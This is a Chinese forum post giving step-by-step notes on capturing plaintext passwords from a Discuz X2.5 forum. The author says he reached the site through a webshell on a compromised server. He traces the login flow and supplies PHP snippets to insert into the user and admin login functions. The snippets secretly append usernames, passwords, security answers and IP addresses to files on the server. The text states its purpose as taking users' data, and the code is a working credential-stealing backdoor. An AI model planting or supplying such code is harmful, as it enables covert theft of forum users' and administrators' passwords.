关于截取discuz用户明文密码的一些笔记

2012-12-27 10:41:03 22 4594 1
临时碰到的问题,这里先做下记录,备以后查用。

最近碰到个discuz X2.5论坛,通过旁注拿到了webshell,但目标是要拿到这个discuz论坛的用户资料(包括密码)。初步想法是在discuz的代码里动下手脚,找到用户登录成功代码,然后加段代码将成功认证的用户密码等信息写到一个文件上去。下面逐步作记录。



第一个任务是截取论坛用户成功认证的登录密码。版本:discuz X2.5最新版

----begin---------------------------------------------------------------------------------------------------------------------

搭建环境完毕,用admin正常用户登录,抓个包看看:

POST /bbs/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1

内容:

fastloginfield=username&username=admin&password=admin888&quickforward=yes&handlekey=ls

先从member.php开始看。三个核心的基础类:

------------------------------------------------------------------------------------------------------------------------------

基类:discuz_base(source\class\discuzz\discuz_base.php)            虚类,定义一些基础操作:get,set,call等

|

|  discuz_application继承discuz_base

|

discuz_application(source\class\discuzz\discuz_application.php)    核心:环境变量、数据库、设置、用户设置、输入过滤、输出等

|

| 虽然不是继承,但其直接由discuz_application生成:self::$_app = discuz_application::instance();

|

core(source\class\class_core.php)                                  再做一些封装,导入一些需要的库

------------------------------------------------------------------------------------------------------------------------------

一开始不要绕进这些类去,大概看下结构后,还是顺着主脉络走:

$discuz = C::app();   #建core类

$discuz->init();      #调用了discuz_application的init(),初始化了user、db、session等大量东西



之后require了三个文件:

require libfile('function/member');                       #/source/function/function_member.php,关键函数userlogin()

require libfile('class/member');                          #/source/class/class_member.php,关键函数on_login(),on_login()经大量验证后最终调用userlogin()

require /source/module/member/member_'.$mod.'.php';       #/source/module/member/member_logging.php,调用class_member的on_login()



这里的关键在member_logging.php,是用户认证的启动代码



$ctl_obj = new logging_ctl(); #new了一个class_member对象,DISCUZ_ROOT/source/class/class_member.php

$ctl_obj->setting = $_G['setting'];

$method = 'on_'.$_GET['action'];

$ctl_obj->template = 'member/login';

$ctl_obj->$method(); #调用class_member的on_login()



所以,用户的认证代码在/source/class/class_member.php的on_login()。

理下脉络:

------------------------------------------------------------------------------------------------------------------------------

member.php->member_logging.php->class_member的on_login()

------------------------------------------------------------------------------------------------------------------------------

on_login()中,经过大量验证后,调用了source/function/function_member.php的userlogin()函数:

$result = userlogin($_GET['username'], $_GET['password'], $_GET['questionid'], $_GET['answer'], $this->setting['autoidselect'] ? 'auto' : $_GET['loginfield'], $_G['clientip']);



userlogin又继续调用uc的uc_user_login(\uc_client\client.php)

$return['ucresult'] = uc_user_login(addslashes($username), $password, $isuid, 1, $questionid, $answer, $ip);



uc_user_login实际是调用了用户自定义函数的宏UC_API_FUNC,后面是这个用户自定义函数的参数:

$return = call_user_func(UC_API_FUNC, 'user', 'login', array('username'=>$username, 'password'=>$password, 'isuid'=>$isuid, 'checkques'=>$checkques, 'questionid'=>$questionid, 'answer'=>$answer));



宏UC_API_FUNC在\uc_client\client.php中定义为:

define('UC_API_FUNC', UC_CONNECT == 'mysql' ? 'uc_api_mysql' : 'uc_api_post');



uc_api_mysql也在\uc_client\client.php中定义,uc_api_mysql($model, $action, $args=array()),所以最终相当于调用了:

uc_api_mysql(user,login,('username'=>$username, 'password'=>$password, 'isuid'=>$isuid, 'checkques'=>$checkques, 'questionid'=>$questionid, 'answer'=>$answer)));



而uc_api_mysql最终是调用uc_clinet/control/user.php的on_login()函数:

return $uc_controls[$model]->$action($args);#调用uc_clinet/control/user.php中的on_login()



至此进入了最底层的用户认证核心函数,回溯下主脉络

-------------------------------------------------------------------------------------------------------------------------------

member.php -> member_logging.php -> class_member(on_login()) -> function_member.php的userlogin() -> client.php(uc_user_login())

-> call_user_func(UC_API_FUNC) -> uc_api_mysql() -> uc_clinet/control/user.php(on_login())

-------------------------------------------------------------------------------------------------------------------------------



从uc_clinet/control/user.php的on_login()获得几个信息:

1、其又调用了uc_clinet/model/user.php的get_user_by_username($username),这个函数最终封装了数据库查询;

2、discuz用户密码加密的方式为:md5(md5(password).$user['salt']),其中的salt由substr(uniqid(rand()), -6)生成(取了随机数转换为微秒的末尾6位)。每个用户的salt都存在uc的member表中。

3、on_login()最后返回:array($status, $user['username'], $password, $user['email'], $merge),其中的$status是关键,成功认证的,这个$status就是用户uid,否则是负数。



至此整个认证分析流程走完。下面的工作就比较简单了,选择适当的节点,把成功认证的用户信息写到一个服务器文件中。

可选的地方非常多,随手挑一个节点:source/function/function_member.php的userlogin()。看具体代码:
登录完成后,程序检测返回数组中的sataus是否为合法的用户uid,是就登录成功。所以在以上代码片段的第57行插入写服务器文件代码即可。

随便列一段插入的代码:

#---------------------------------------------------------code--------------------------------------------------------------------------------

$himylife=$tmp['uid'].'|'.$tmp['username'].'|'.$password.'|'.$tmp['email'].'|'.$questionid.'|'.$answer.'|'.date('Y-m-d H:i:s',time()).'|'.$ip;

$fp=fopen(DISCUZ_ROOT.'./source/himylife.php','a+');

fputs($fp,$himylife);

fclose($fp);

#---------------------------------------------------------code--------------------------------------------------------------------------------

来看看效果:

测试比较成功,仅记录成功登录的用户信息。



下面进入第二个任务,在服务器上单独再写个文件,只记录成功认证的管理员用户信息。

----begin---------------------------------------------------------------------------------------------------------------------

经过上面的分析,接下来的工作应该比较简单了。还是走老路子,管理员账户登录后,点管理中心,然后截个包看看:



----admin.php抓包-------------------------------------------------------------------------------------------------------------

POST /bbs/admin.php? HTTP/1.1



Cookie: IvGn_2132_auth=4dfdu3TI9rhGBlQUg1Jcr7aSeYa9odVMel4nO%2BiLwLZFI1zY5458zA8fHZxA%2B0Gz%2BsB8rs%2BTBJlHodlqqubF; IvGn_2132_sid=k6Oyks; IvGn_2132_saltkey=mVSQqAFp; IvGn_2132_lastvisit=1346566711; IvGn_2132_lastact=1346675125%09admin.php%09; IvGn_2132_ulastactivity=ffb5EwgsIOdAWKb8EH01C49rIXhRNV54qFnLJ1AQZ2gNspuWk8Gq; IvGn_2132_lastcheckfeed=1%7C1346675022; IvGn_2132_sendmail=1; IvGn_2132_nofavfid=1; IvGn_2132_onlineusernum=1



sid=k6Oyks&frames=yes&admin_password=admin888&admin_questionid=0&admin_answer=&submit=%E6%8F%90%E4%BA%A4

----admin.php抓包-------------------------------------------------------------------------------------------------------------



由于在登录管理中心的时候,没有输入用户名,所以我把cookie内容也附上,可以看出cookie中也没有用户名,所以判断用户名肯定是存在之前认证的全局变量里了,打开admin.php开始分析。

有了前期的基础,看起来就比较简单了,直接锁定到27行处:

$admincp = new discuz_admincp();

$admincp->core  = & $discuz;

$admincp->init();

再往下面看看,没有什么实质内容了,基本可以判断核心认证应该在discuz_admincp(source\class\discuz\discuz_admincp.php)这个类中。

果然不出所料,管理中心认证的水龙头就由$admincp->init()开启。下面直接列出脉络了:

-------------------------------------------------------------------------------------------------------------------------------

admin.php(discuz_admincp->init()) -> discuz_admincp.php(check_cpaccess()) -> discuz_admincp.php(check_admin_login()) ->

\uc_client\client.php(uc_user_login())

-------------------------------------------------------------------------------------------------------------------------------

不出所料,果然殊途同归了,又到了\uc_client\client.php(uc_user_login()),下面就没有必要再继续分析了。直接在discuz_admincp.php的check_admin_login()中加以下代码就行了。

#---------------------------------------------------------code--------------------------------------------------------------------------------

$himylife=$this->adminuser['uid'].'|'.$this->core->var['username'].'|'.$_POST['admin_password'].'|'.$_POST['admin_questionid'].'|'.$_POST['admin_answer'].'|'.date('Y-m-d H:i:s',time()).'|'.$this->core->var['clientip'];

$fp=fopen(DISCUZ_ROOT.'./source/admin.php','a+');

fputs($fp,$himylife."\r\n");

fclose($fp);

#---------------------------------------------------------code----------------------------------

关于作者

benet5206篇文章54篇回复广东省信息安全测评中心 渗透工程师

评论22次

要评论?请先  登录  或  注册